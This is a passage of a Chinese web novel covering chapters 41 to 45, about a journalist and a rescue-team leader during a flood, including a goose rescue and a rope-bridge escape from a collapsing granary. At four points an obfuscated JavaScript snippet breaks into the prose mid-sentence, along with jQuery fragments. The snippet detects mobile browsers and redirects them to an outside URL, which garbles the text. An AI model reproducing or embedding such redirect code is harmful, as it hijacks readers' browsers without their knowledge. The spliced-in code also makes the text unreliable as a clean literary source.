那影子立刻站直身体,试探着叫:“齐寻?” “嗯。” 她在原地沉默地站着,过了两三秒,才从门里探出头来,眉眼间带着临时堆起的轻松笑意:“怎么在淋雨?进来呀。” 齐寻唇角漾起一个无声的笑。 那块从光里逃跑的皮影哪里去了呢。 原来躲在这里,一直在等他。 他一步踏入光里,伸手将人圈入怀中,下颌抵住她的发顶,灼烧了他许久的焦躁心疼时才齐齐喷发,烧得他手臂都在抖。 黎叙闻在凌晨看了太久的雨,浑身冰冷,蓦地陷入一个滚烫的怀抱,先是一怔,继而脸颊浮上一层潮热,身体便挣扎起来:“换药……” 他按住她后枕,在她耳边道:“嘘,别动,你身上太冷了。” 寂静雨夜,她头顶挂着一豆细小的灯火,被夹着雨丝的夜风推得一荡一荡,吹进来的凉全被他的身体挡在了门外。 被他的温度所熨帖,黎叙闻在这个事先张扬的拥抱里,真的慢慢安静下来。 齐寻喉结起伏几次,似乎再三忍耐,最后还是轻轻地、小心地说:“闻闻不怕。” 黎叙闻穿惯了的保护色,被他这四个字轻轻一敲,静静地裂开了道缝隙。 灯光坐着秋千,衔着两人交叠的身影吞吐,远处稳定下来的病患呼吸平静。 而她耳垂底下那颗心脏,跳得有力沉稳,烧热他的身体,烘烤着她的体温。 砰砰,砰砰。 强撑的信念慢慢退却了,让她不得不直视那个蜷缩在铠甲之下的自己。 她太害怕了。 每个人敲出的字都足以拼出一把杀死她的刀,可她只能钉在原地被恶意和猜忌啄食,直到风暴过去,她才有力气把四散的骨架拼凑好,再长出一身血肉来。 那副血肉模糊的样子,绝对不可以拿出来示人。 但此刻,她却装不动了。 她声音带着浅浅的鼻音,慢慢地说:“他们说我是太妹,还说我是女流氓。” 齐寻手指一下一下拍着她的后脑,半晌才揉了揉她发顶,垂下眼睛。 “不听他们,听我的。”最后他说:“我是你合法的家人。” 黎叙闻在摇曳不安的光线中骤然一怔。 一线清冷的理智,猛地在她被泡软的头脑中划开一条锋利的切口。 家人? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16916047|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不,她不能拥有家人。 因为她最终会变成爸爸那个样子——他爱自己的家人,但他没办法为她们承担半分的责任。 这对任何人都不公平。 尤其是齐寻。 帐外的细雨斜织着打在帆布上,沙沙作响。 温黏的沉默缓慢地流淌在每一个罅隙。 她一咬牙,将身体抽离了他温暖的怀抱。 “开玩笑的,”黎叙闻靠回门边,扭头去看外面泠泠的雨:“我什么大风大浪没见过。” 灼热的温度残留在她侧脸,夜风一吹,惊心的凉。 齐寻眼眶一紧,眸光在雨声里暗了几分。 可他却没追问,反而顺着她的疏离正式地道了谢:“黎叙闻记者,我代表微光救援队,感谢你的付出。” “道谢就更不必,职责所在。”黎叙闻笑:“而且我也是微光的人。” 齐寻一言不发,就着挂在门口那一盏暗黄的灯注视她。 她眉眼映着光亮,仍然锋芒毕露,像暴风雨中盛放的蔷薇。 那双眼底烛火炽盛,比她穿过人群找到他的那天,还要让他心动。 他把手插进裤袋,掩下难言的冲动,道:“这些事情,不该由你来承担。” 他以为自己遮掩得很好,可炽烈的眼神从来都不是悄无声息的。 它煊赫、灿然,足以让任何一个强硬的人羞赧。 被这目光所触碰,黎叙闻恍惚了一瞬,然后生硬地转过头,不动声色地转移话题:“你们花那么多人力物力找人,结果被他们这样背刺,你后悔吗?” 齐寻毫不犹豫:“不后悔。” “为什么?” “职责所在,花再多代价,也是应该。”他声音沉缓:“像你一样。” 黎叙闻微微抬起下巴,对着站在光里的那个人微微地笑了。 就算有再多不值得,这个世界上,也还有一个人懂她。 至少还能有一个人,能在这样僻静的夜里,静静地跟她听一阵雨。 “昨天是我态度不好,”她在渐重渐响的雨里轻轻道:“我不喜欢对人做道德评判,你喜欢谁,就去追,用不着担心别人怎么想。” 她扭头看他,笑意坦然:“回去就尽快排号离婚,别耽误你表白。” 齐寻定定地望了她一会儿,问:“你不想知道是谁吗?” 黎叙闻扬起眉头:“怎么,我还认识?” “嗯。” 她眼睛被烫了似地收回目光:“不、不了吧……” 齐寻视线一瞬不瞬地盯住她的侧脸,似乎想从她的表情里,找出什么细入毫芒的答案。 搜寻未果,他便又说:“八字还没一撇,说不定人家看不上我。” 黎叙闻低着头,看自己线条分明的影子。 她想说不会的,但又莫名觉得,说出口就是输了。 齐寻看着她,极轻地笑了声,把视线抛向远方。 东边的天际,正缓缓擦亮了一道光。 42. 第 42 章 前夜缱绻温存的雨,在湿冷中绵延了几天几夜,终成摧枯拉朽的滂沱之势 到了第五天,村落屋舍已经成了洪水中的零星孤岛,泥色积水中漂着倒伏的树木栅栏和杂物,席卷了整个龙腾。 救援行至白热化,行动组每个人都来不及休息,定好的轮班制度在这时形同废纸。 大本营随处可见浑身污泥、睡在角落的队员,稍有动静就立刻惊醒,再立刻投入救援,纪士诚和齐寻更是几乎不眠不休。 伤员病患也大幅增加,黎叙闻忙得脚不沾地,有时跟齐寻迎面碰上,话都没时间讲,只来得及互相对上一个询问安抚的眼神。 擦肩而过后,两人都会扬起一个相同弧度的笑意。 第六天下午,微光大本营收到通知,上游洪峰业已形成,按距离估算,大约四小时内便会抵达大本营附近,要求所有救援单位抓紧时间撤离。 大本营外。 泥泞的小道被踩得稀烂,撤离的车辆引擎轰鸣,断续无线电里不时传来汇报的声音,被雨声打得支离破碎。 队员们跑动着快速整理装备,偶尔踩到湿泥,趔趄一下却来不及细看。 纪士诚强撑着困乏的眼,手上依然夹着烟,盯着齐寻带人整装,准备最后一次疏散。 “一个小时,每个人都得回到营地。” “知道,你带人尽快撤。”齐寻一点头,视线在他指间已经熄灭的烟头上一晃:“别抽了。” 纪士诚冲他一摆手指:“去吧。” 齐寻正要转身,余光却扫到门口的一个影子,正背对着他收拾药品。 似是感觉到他的目光,她转过头,深深地望了他一眼。 齐寻冲她一抬下巴,就这样完成了一次叮嘱和告别。 这时,有个瘦弱的眼镜男蓦地从帐篷里冲出来,劈手拉住正要出发的齐寻,颤声道:“你们要、要撤了?” “我家里还有人没出来!”眼镜男语出惊人:“是我儿子!求求你们,求求你们带我去救他!” 齐寻扬起眉头:“哪个区域?” “西边!” 齐寻拿过名单,从上往下粗粗一扫,递到他面前:“西侧是上游,第一天就撤完了。你儿子叫什么名字?我让信息组再去核对。” 眼镜男磕绊了一下,道:“我、我儿子叫李津。” 齐寻指尖顿了顿,目光从名单滑向眼镜男:“西侧的李津已经撤到营地,当天就签了到。你说的李津是哪个?” 眼镜男哑了一瞬,嘴唇抖着,答不上来。 齐寻皱眉:“时间有限,请提供个人信息和照片。” 见眼镜男支支吾吾了半天,他心中已有七八分确定。 连续八年汛期救援,他遇到过很多这样的人,谎称家里有人没出来,迫使救援队带他回去找,等到了地方,就跑去拿撤离时没来得及收的财物,不让拿就不走。 反正救援队不可能真的把他留在洪水里。 齐寻抽回手,冷瞥他一眼,转身离开了。 “不是,不是的,”眼镜男在他身后喊:“真的很值钱,真的……” 黎叙闻冷眼旁观了这一出闹剧,这时候斜睨着他,道:“来,你跟我说。我看看到底是什么东西,比人命还值钱?” 齐寻带着五人小队所赶赴的东南角村落。 大山隔着茫茫雨幕,一边观察河道两侧,一边偏头对齐寻道:“你多久没睡了?” 齐寻眼下已经浮起一层青黑,道:“扩音器再加一个,再转一圈。” 大山叹了口气,只能不问了。 暴雨倾倒之下,村落水位明显上涨,水流肉眼可见地加了速。 齐寻侧耳努力分辨了一阵子,天地间除了磅礴的水声,似乎没有活物的动静。 “去里面转完剩下半圈,可以收队了。” 冲锋舟这两天劳苦功高,马达声已经从最初清澈的轰鸣,变成了现在嘶哑的鸣叫,它深入村落深处,惊醒了…… 惊醒了一只蹲在房顶上嘎嘎嘎骂街、试了三四次也找不到跳下去的角度、最后索性扑腾着翅膀,不偏不倚降落在队员头上的大白鹅。 一时间冲锋舟上鹅飞人跳精神状态摇摇欲坠的队员们瞬间被激起了斗志,左扑右抓,上窜下跳,被鹅爷嚯嚯得破口大骂,逼得齐寻一手掌舵一手扒紧船沿,顶着滔天雨声大吼:“都别动!船要翻了!” 他们倒是想停手,可大白鹅不依不饶,见谁手伸过来啪地就是一翅膀,那鹅毛沾了水,又重又硬,跟一把铁扇似的,扇谁谁叫。 一船的大小伙子,让它玩得跟发声玩具一样。 许是嫌弃他们战斗力太弱,大鹅闹腾了一阵,翅膀一扇,竟然从船上飞了下去,顺着浑浊的急流瞬间下去两三米,这才慌了,又扑腾着嘎嘎嘎地对着冲锋舟求助。 ……扇了所有人一身一脸的脏水。 齐寻抹了把脸,头疼地闭上眼。 这玩意你说救吧,没人打得过,不救吧,它好歹是条命。 他啧一声:“大山,过来接手。” “哎,”大山接过方向盘:“往哪儿?” “追鹅!” 于是大雨倾盆的村落间,一只通体纯白的黄嘴大鹅,在急流中拼命扇着翅膀踩水,橙红的冲锋舟航速拉满,队长把身体探出船头,将手臂抻到极限,手里握着捞装备的大网兜,其余几人使出浑身解数发出怪声,想请鹅入兜。 大白鹅一边扑腾一边骂街,几分钟过去就游不动了。 齐寻看准了机会,把手里的网冲着鹅兜头盖下,双手一翻,把它头朝下倒着网进兜里,硬是将它拖了回来。 拖上来后他按住大鹅的脖子,用安全绳连网 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921083|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带鹅团团捆住,咬牙道:“再闹!晚上加餐!” 大鹅梗着脑袋,悻悻地“嘎”了一声,终于安静了。 齐寻折腾得脱力,一屁股坐在船头:“撤,快撤。” 大山洪亮地答应一声,驾着冲锋舟,顶着上游愈来愈急的水流全速前进。 路过东侧的临时安置点,岸上也是一片撤离前的混乱。 齐寻让其余人在岸边等,自己跟东侧的负责人简单沟通了两句,正要上船回营地复命,就见岸边站着一个短发大眼睛的小姑娘,三四岁,穿着小雨衣站在雨里,正直勾勾盯着他们的船。 看他抬脚准备上船,小姑娘忽然出声:“哥哥,这大鹅是你们的吗?” 齐寻都没来得及开口,安静的大白鹅忽然在船上扭动起来,嗷嗷直叫,两个人都按不住。 小姑娘眼睛一亮,拔腿奔向大鹅:“大白!大白!” 队员们解开安全绳,大白鹅甩着翅膀,几乎是飞奔着下了船,嘎嘎地叫着,一头扎进了女孩的怀里,差点将她撞翻。 小姑娘高兴地在它背上一撑,整个人跳上大鹅的背,直接把它坐趴在了地上。 队员们尖叫着要去拦,却见鹅爷任她揉圆搓扁,一声不吭,乖得像一只找到了主人的小狗。 看得队员们目瞪口呆。 小姑娘跟大白鹅闹了一阵子,才想起来道谢,冲着大家鞠了一躬,奶声奶气的:“谢谢哥哥。” 它身边的大鹅扑腾着湿哒哒的翅膀,竟然也学着她的样子,低下了鹅王高贵的头颅。 软团子一样的女宝宝萌得副舵心肝乱颤:“我这辈子高低要生个闺女……” 齐寻心里也毛茸茸地柔软了一瞬,笑着摸了一把小姑娘的头:“跟紧爸妈,别走散了,再见。” 说罢上了船,拉动引擎,正式踏上回程的路。 船开出好几米,副舵忽然说:“哎,咱们这次出来别说人了,连鹅都没有捞到一只。” 齐寻笑着睨他一眼:“不是好事么。” “也是,咱们干救援,不就为了看到那种画面吗。”副手想起刚刚女孩携大白鹅给他们鞠躬的场面,在雨里笑得暖洋洋:“值了。” 躺在衣袋里静默了许久的手台,这时忽然发出一声刺耳的鸣响。 “白蛇小队!”副舵立刻回应:“请讲!” 手台刺啦了一阵子,纪士诚焦急的声音传过来:“上游水坝马上过载,要提前泄洪!” 齐寻一惊,接过无线电:“洪峰还有多久到?” “大概四十分钟……”纪士诚声音莫名慌乱:“你们在哪,还有多久归队?” 齐寻估摸一下,立刻道:“一刻钟,不,十分钟,我们到达后可以立刻撤离。” “走不了……”纪士诚一咬牙:“小熊和闻闻去了上游,到现在还没有消息!” 43. 第 43 章 一小时前。 齐寻离开后,黎叙闻恩威并施,给那眼镜男倒了杯水,坐在他面前,用眼角剔他:“为什么骗人?” 眼镜男诚惶诚恐接过来,推了推眼镜:“没有骗人,人说每句话都要负责的,你不要这样说话。” 文弱,讲理,但撒谎。 黎叙闻笑了一声,单刀直入:“说吧,你要找什么?” 眼镜男低眉顺眼抿着嘴,浑身穿的戴的,没有一样不是磨得起了毛边,肩头腋下甚至有几处细小的破洞,眼镜腿都斑驳地掉了色。 怎么看都不像是有啥宝贝的人。 他厚厚镜片后面的眼睛里,藏着太多不敢露头的秘密。 见他依然不吭声,黎叙闻凑近了,悄声道:“我跟他们不一样,我是记者。” 他镜片后的眼睛竟亮了一瞬:“记者?你是记者?” “对。” 她还没开口画饼,眼镜男忽然大力抓住她的胳膊:“我告诉你,我全都告诉你!” 这一声引来了干完了活,正无所事事的小熊。 眼镜男怯怯看他一眼,慢慢地开口了。 “我、我有个初恋,二十多年前了,”他低着眼,声音很小:“十八九岁的时候,她让人给骗了……” 小熊急性子,问:“骗了啥?” 眼镜男一咬牙,紧闭着眼:“……骗了身子!她出去打工,让同乡骗到夜总会里头……” “她从外面跑回来,只告诉了我一个人,我、我……” “你帮她了吧,”小熊实在受不了磨叽:“你帮她了对吧?” 黎叙闻想之前的那句“人说每句话都要负责的”,眉心不忍一抽。 “没有,”眼镜男抬起自己空洞的眼睛,麻木地说:“我骂她‘婊.子’。” 这两个字落在旁观者的耳朵里,都觉得脑子被巨锤砸了一下。 她痛苦地闭上眼睛,小熊更是表情都凝固了。 “我们这地方小,没人容得下她,她性子倔……” 他说到这里,声音又低下去,犹豫着不肯往下讲。 黎叙闻犹豫再三,还是问:“她是不是……自杀了?” 眼镜男苦笑着摇头:“淑英不会为我这种人去死的,她走了。” “后来就听说,她去了京屿,在干那种事……别人都说她不安生,早就想去卖了,可是我知道……” 他知道,是他一句话,把人逼上绝路的。 “后来只要听说哪里有‘失足妇女’,我就去找,去跟人家聊天,想知道她们认不认识淑英。 “问了没结果,我又不甘心,索性就写下来,一写就写了二十年。” “我这一辈子啊……”眼镜男长叹了一声,摇头笑了:“就干这个了。” 而黎叙闻听到的除了一幕悲剧,还有另外一层—— 他遍访了所有自己能够找到的边缘女性,将她们走上这条路的前因后果、她们的人生故事全部如实地撰写下来,时间横跨经济腾飞的二十年。 这简直是一部完整、难得的田野调查报告! 这么珍贵的资料,现在马上就要融化在洪水里,不知所踪了。 “那笔记就在我家谷仓里!”眼镜男急急抓住她这一丝犹豫:“之前也有记者找过我,我都没给……这样,你要能帮我拿回来,我免费送给你!” 帐外的雨声压抑着撤离的催促,黎叙闻听着这些不相干的噪音,视线微不可查地颤了颤。 眼镜男这走投无路的样子,让她想起了黎策。 他发现自己丢了情报的时候,露出的是不是也是这样的眼神? 如果…… 如果那时候,有人能帮他把情报找回来…… 可她只是医疗队的志愿者,外面洪水滔天,凭她自己,想要去抢救一份笔记,简直是痴人说梦。 黎叙闻心中隐痛,沉默半晌只能开口安慰:“别执着了……” “闻姐,”一直默然的小熊这时候忽然道:“我们去把东西找回来吧。” 周围队员来来往往,帐篷外,雨点敲击声混成一片,比方才更重了几分。 小熊声音很轻,但无比笃定:“现在离洪峰到来还有时间,如果我们速战速决……” 其余两人齐刷刷转头看他,眼睛里不约而同燃起一簇火。 但黎叙闻很快道:“不行,纪队说了,洪峰马上就来了。” “不会,我刚算过,时间很充裕的。” 黎叙闻舔了舔嘴唇,还是道:“……太危险了,万一呢。” 如果是她一个人也就罢了,要是加上小熊,齐寻回来都不知道怎么跟他交代。 “为什么你们都不信我……”小熊苦笑:“闻姐,如果今天是白蛇跟你说这话,你还会拒绝吗?” 黎叙闻被他问得一怔,随即得出了一个令她讶异的答案。 她不会。 不仅不会拒绝,她还会在眼镜男说完真相的第一时间,就主动跟齐寻提要求——在她眼里,这件事他一定能办到,只是肯定少不了一番斗智斗勇的拉扯。 有他在,她从不需要瞻前顾后,只需要一往无前,去做自己想做的事。 可他在成为现在的齐寻之前,是不是…… 是不是也有过这样跃跃欲试,却无人信任的时光? 黎叙闻忽而心软一瞬,看着小熊那张过分年轻的脸,问:“你觉得……我们能办到吗?” “能……我知道我能办到。”小熊坚定地点头,将自己因为紧张而发抖的手悄悄揣进兜里:“现在离预报的时间还有将近三个小时,我们动作快点,二十分钟去,十五分钟回。” 他拿出西侧的地图,确认了地点:“满打满算,我们一个小时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16928900|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就能跑个来回,刚好能赶上大部队撤离。” 黎叙闻自己也琢磨了一遍,发现时间上确实很充裕。 至于小熊的能力…… 齐寻一个人被困在腹地的那天,可是小熊把百十号人带回来的, 如果他能力不行,齐寻会放心交给他吗? 想到这里,黎叙闻自己都笑了。 闹到最后,她信的还是齐寻。 “我们应该跟纪队长说一声?”黎叙闻已经伸手去拿救生衣了:“不然怎么交代?” 小熊摇头:“跟老纪说,咱们就去不了了。” “行,”她终于松口:“要去就走,速战速决。” …… 纪士诚被扭曲的声音停了好几秒,齐寻都没有任何动作。 他只是握着对讲机,神色空茫地望着暴雨,眼神里透着难得的茫然。 离他最近的大山大声呼喊:“白蛇!” 齐寻猛地回神,刚刚的迷失陡然碎裂。他面无表情地一摆手指:“我开。” 大山懵懂地让出驾驶位,冲锋舟在齐寻的驾驶下一骑绝尘,顶着愈发疯狂的水流,向上游驶去。 暴雨仍在怒吼,船上队员一个个精神绷得极紧,十几分钟的功夫,已经将安全绳和救生衣全部备妥,满想着齐寻应该一脚油门,直奔西侧去救人。 谁料冲锋舟一路开到大本营门口,齐寻声音冷硬地下令:“全部下船。” 副手第一个反应过来:“不是,白蛇?我们不去救人吗?” 齐寻语气平静,握住舵柄的指节却凸起得嶙峋:“我一个人够了。” 队员们不敢说话,不安地面面相觑。 因为他的表情实在吓人。 那种模样……好像他根本没打算回来。 泄洪洪峰最是凶险,冲锋舟是不能指望的,要救人只能搭人梯,至少需要三个人。 谁都知道他在说谎,于是谁都没动。 齐寻一偏头,眼底流窜着尖锐的执拗:“听不懂吗?抓紧时间!” 大山一边给冲锋舟后尾绑漂浮物,一边道:“你们下吧,那边三个人,再加上我们,满载容易侧翻。” 其余三人这才动了:“那你……” “我跟着。” 齐寻摇头:“你也下。” “白蛇,多一个人就多一分生机。”大山一屁股坐在他身边:“要是连身边的人都救不了,那我干救援是为了什么?” 像是被戳到了痛处,齐寻的肩线在雨中战栗了一瞬。 这八年来他拼了命地救人,可最后他连自己最珍贵的东西都保护不了。 他怎么能让她落到这种境地。 齐寻深深出了口气,指节一瞬间发白,像是攥碎了掌心的雨水。 引擎轰然启动,冲锋舟直直插向暴雨深处,像一叶孤舟闯进了怒涛。 44. 第 44 章 彼时西侧村里的谷仓内,另外三人却陷入了始料未及的进退两难。 眼看水位迅速没过腰际,水面上漂浮着各种碎片,腐败气味像巨手一样捂住他们的口鼻。 “就在这啊……”眼镜男徒劳地抬着头:“我明明在这里摆了个架子……” “应该是冲散了。”黎叙闻冷静打断:“你描述一下,我们分头找。” 她转头去看门口:“小熊?” 小熊动作僵硬地扒着谷仓的门,对呼唤充耳不闻。 他一瞬不瞬盯着快速上涨的水位,眼球不妙地震颤:“不可能啊……怎么会涨得这么快……” 他抬头望向远方,瞬间脖颈处青筋突突地跳—— 他看见上游水流似一条失控的巨龙,挣扎着冲破藩篱,正索命似地向他们咆哮而来! “不对……这不是山洪……”一道可怖的念头陡然浮现,小熊面色发白:“是上游提前泄洪了!” 这句话如凌空响起的一鞭,抽得黎叙闻心跳似脱缰野马,不受控制地跟着水位一路攀升。 眼镜男吓疯了,呛着水不断地撕扯她的手臂:“不要了,不要了!你们带我走,我不想死在这!” 黎叙闻被他扯得趔趄一下,一把甩开他,反手死死压住他的肩:“你冷静!” 她后背贴住一块岌岌可危的墙板,冲门口大喊:“现在走还来得及吗!” 小熊抹掉脸上的水,声音都在抖:“流速太大,船会翻的!” 漫天席卷的洪水似是在印证他这句话,一浪高过一浪,变本加厉地挤入这处狭小的空间。 黎叙闻眼底倒映着滔天泥水,耳边充斥着嗡然的雨声。 一瞬间,轰鸣声好像蓦地远去。 她忽然想,好像就是她的终点了。 可是……她还有没做完的事,还有想见的人。 小熊踩着水到她身边,一把扶住她摇摇欲坠的肩膀,将她拉回现实:“上,上去仓顶!等救援!” 他拉住她腰上的牵引绳,几乎把她强行扯出来:“外侧有铁梯,能自己上吗?” “能!” 他按住哇哇挣扎的眼镜男:“闻姐你先上,我在你下面撑着你!” 黎叙闻立刻踩水往外走,余光一扫,电光火石间,竟然扫到一个白色的方盒。 它错觉似地浮起了一瞬间,一道水打过去,又被卷入深处。 她猛地停住,瞪大眼睛盯住那处,只消两秒,那盒子又引诱似地,在原地浮了上来! 小熊带着眼镜男已到门口:“闻姐!” 黎叙闻视线紧紧攥住它——它已经近在咫尺了。 只要往前两步,一伸手,它就能…… 她一咬牙:“先送他出去,给我半分钟……” 小熊眯起眼睛,隔着污水和杂物竭力大吼:“别下去,水里有——” 已经晚了。 黎叙闻往前两步伸手去够,水面被冲出一个不小的漩涡,杂物碎片在当中盘旋,将盒子卷入更深处,她再次顶着压至肩头的水位向前,深吸一次,埋头进了水中! 洪水中泥沙俱下,脏污浑浊,她稍一睁眼就火烧一样疼,只能伸手去摸。 耳边只剩下纷乱的水流声,各种碎片在她身侧滚过两三遍,她手指一蜷,竟然真的摸到了一个方形的滑腻物件。 她来不及仔细分辨,憋住最后一口气,刚一回头,额头却猛地磕上了一个极硬的东西—— 那是一片厚重桌板,借着漩涡的惯性,牟足了劲直直拍上她的前额! 黎叙闻几乎瞬间失去了意识,甚至能听见自己松了气的气泡声。 她抱紧怀里的东西,仅有的理智只来得及浮起一个念头: 她跟爸爸一样,一样倒在了胜利之前。 或许这就是宿命。 她仰躺在水中,肢体任由洪流撕扯,渐渐沉入一片寂静的黑暗里。 这时,一道雪亮的光线忽然撕裂她周身的幽暗,瞬间照破了整个水底。 黎叙闻神思昏昧,只感到身体浮了起来。 一只手揽住她的腰,手臂不容忽视地钳住她的身体,瞬间将她整个人托离了水面。 压在周身的水压刹那退去,久违的空气又重新聚拢到周围。 她勉力睁开双眼,才模糊看见强光之下,齐寻那张棱角分明、焦急失措的脸。 像一片沉黑的海上,忽然亮起的一座冷冽灯塔。 那一瞬间,她的世界异常寂静。 他的出现蓦地将绝境烫出了一个窟窿,紧接着如同山火燎原,将她的求生意志一点不少地唤回。 她立刻攀上他的脖颈,一边呛咳着一边把盒子塞给他:“拿、拿好……” 齐寻声音又涩又哑:“闻闻……” 黎叙闻红着眼看他,嗓子里像堵满了泥沙。 齐寻替她抹了一把脸上的水,动作利落地将她的安全绳绑在自己身上,单手一托,让她攀住自己的肩:“扶稳。” 黎叙闻浑身脱力,伏在他身上喘得惊急,脸颊贴在他侧颈。 那里的脉搏像疯了一样搏动着,却似一帖慰藉,让她登时安心。 在山倾海倒的洪水中,她终于找到了一座得以栖身的岛。 内外洪流依然咆哮着,有一道又细又沉的声音,在他们身边缓慢地、粗糙地游走。 齐寻猛地回头,伸手覆上谷仓的黏土墙壁,脸色瞬间变了,冲着门口的人大吼:“墙开始裂了!快走!” 此时雨势已稍减弱,小熊提溜着眼镜男,齐寻护着闻闻,四人迅速沿梯爬上谷仓顶部,齐寻快速观察四周,发现根本没有树木能做绳桥支点,唯一可用的就是谷仓顶部的晾晒架。 可谷仓是黏土质地,在反复冲刷下已经开裂,如果坍塌之前他们还没过去…… 时间紧迫,齐寻用抛绳枪将细绳抛掷过去,再将细绳套上粗绳送至对岸。 对岸的大山很快反应,把绳索捆在一棵粗壮的大树上,一条横跨在洪水河之上的“绳索天桥”就此建成。 这边支撑脆弱,时间紧迫,但对面只有大山一人,拖拽力量有限,绳桥只能单个人通过。 小熊把眼镜男推到起点,开始给他腰上帮安全绳和滑轮扣,谁料眼镜男这时候力大如牛,死命挣扎:“不,我不、我不第一个上!” 小熊本能地抬眼去看齐寻,又跟被抓包了似地瞬间低下头。 齐寻像没看见他的心虚,推了他一把:“你上,去对面接应,这样中间可以过两个人。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16933199|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >小熊眼底一热。 他以为白蛇已经彻底不信他了,不敢把闻姐的性命交到他手里,会让他最后一个上。 他重重应了一声,迅速扣好滑轮扣,面朝天空倒挂而行,在对面的拖拽和高位差之下,背贴着咆哮而下的怒涛,快速消失在了雨幕尽头。 绳索瞬间绷紧,又在几秒后恢复了松弛,齐寻身上的对讲机发出一声扭曲的声音:“下一个。” 脚下谷仓墙面进一步开裂,土黄色的泥块被洪水抢走,内里的秸秆在水中极速摆荡。 齐寻垂目扫了一眼脚下,对眼镜男和黎叙闻道:“你们一起上,抓紧时间。” 眼镜男嗫嚅着不敢,黎叙闻抓着他的手腕:“你最后一个,这里万一塌了呢?” “那更不能让你留下,”齐寻给两人扣好滑轮扣,又用力拽了拽安全扣,抬眼看她:“高空索道训练,还记得吗?” 黎叙闻听着脚下松软的墙壁片片剥落的坷垃声,眼底一片血红。 她当然记得。 不仅仅是装备要领,还有当时齐寻在她身后,笃定沉稳的心跳。 她深深看了齐寻一眼,转身捞过挣扎的眼镜男,像那时的齐寻一样,从背后抱住他:“别作了,走!” 下一秒,她借着身体的惯性和蹬地速度,毫不犹豫地直直滑向了对面。 齐寻的心跳失序了一瞬。 几秒之后,绳索一紧一松,手台传来大山的声音:“白蛇,上。” 齐寻松了口气,抬手把准备好的绳索扣上绳桥。 就这么两秒,脚下忽然传来一阵失控的震颤。 他瞳孔猛地一缩,身体立刻腾空向前,顺着绳索滑行不到五米,身后的谷仓剧烈晃动,墙体像薄薄的纸片,发出一声骇人的摧折声,紧接着便骤然坍塌在滚滚洪流中! 齐寻跟对面的高位差陡然消失,全身重量失去支撑,跟着惯性不可抑制地向背后的谷仓废墟滑去! 绳索猛地绷紧到极限,对岸的大山和小熊毫无准备,被拉得向前趔趄,费了大力,才堪堪稳住身体。 黎叙闻眼睁睁看着他消失在一片遮天蔽日的水浪中,脚下一软:“齐寻!” 眼镜男一把抱住她的腰,小熊和大山同时咬紧牙关发力:“闻姐别去!有自锁器!” 微光救援的所有滑轮都配备了自锁器,一旦绳索变成单点受力,滑轮会自动锁定,悬停在原地。 此时齐寻被吊在半空,下半身跌进奔涌的洪水中,意识因为猛然跌落而模糊了一瞬。 一两秒后,他立刻清醒过来,咬牙忍着腰间被急停勒出的挫伤,对肩上的手台哑声道:“没事,快拉!” 对岸四人听到他的声音,险些喜极而泣,每个人都把绳索绑在手臂上,四人合力,硬是将齐寻从一片废墟间吊起。 绳索在雨中绷得吱吱作响,粗糙表面在每只掌心都磨出一道烧热的红痕。 所有人就这样跟洪峰拔河,用了全力,才终于把他拉上岸。 齐寻双脚落地的瞬间,身体脱力了一瞬,扶住树干才不至于直接跪倒。 黎叙闻第一时间迎上去,声音哑得不像话:“伤到没有?哪里疼?” 齐寻抬头看她一眼,淡声道:“没事,先找地方避雨。” 45. 第 45 章 不远处的高地上立着一座水泥砌成的水井房,面积不大,但足够五个人容身。 小熊一只脚刚踏进去,肩胛骨处忽然被狠推一下,他向前一个趔趄险些栽倒,刚一回身,肩头便被齐寻按住,一路拖到房间尽头,后背狠狠撞到湿冷墙壁上。 齐寻居高临下盯着他,目光狠戾:“我走之前跟你说了什么?” 小熊耷拉着眉眼,声线沉哑:“让我保护好闻姐……” “然后?你做了什么?” 小熊垂下头,不说话,也不挣扎。 大山上前一步从背后拉住齐寻:“白蛇……副队!” “是我非要来的。”黎叙闻轻喘着,去握他的手指:“是我求他来的,齐寻,你不要怪他!” “不是,”小熊带着抽噎摇头:“是我……” “你闭嘴!”大山大声打断他,又扭头去劝齐寻:“副队,提前泄洪是临时决定——” 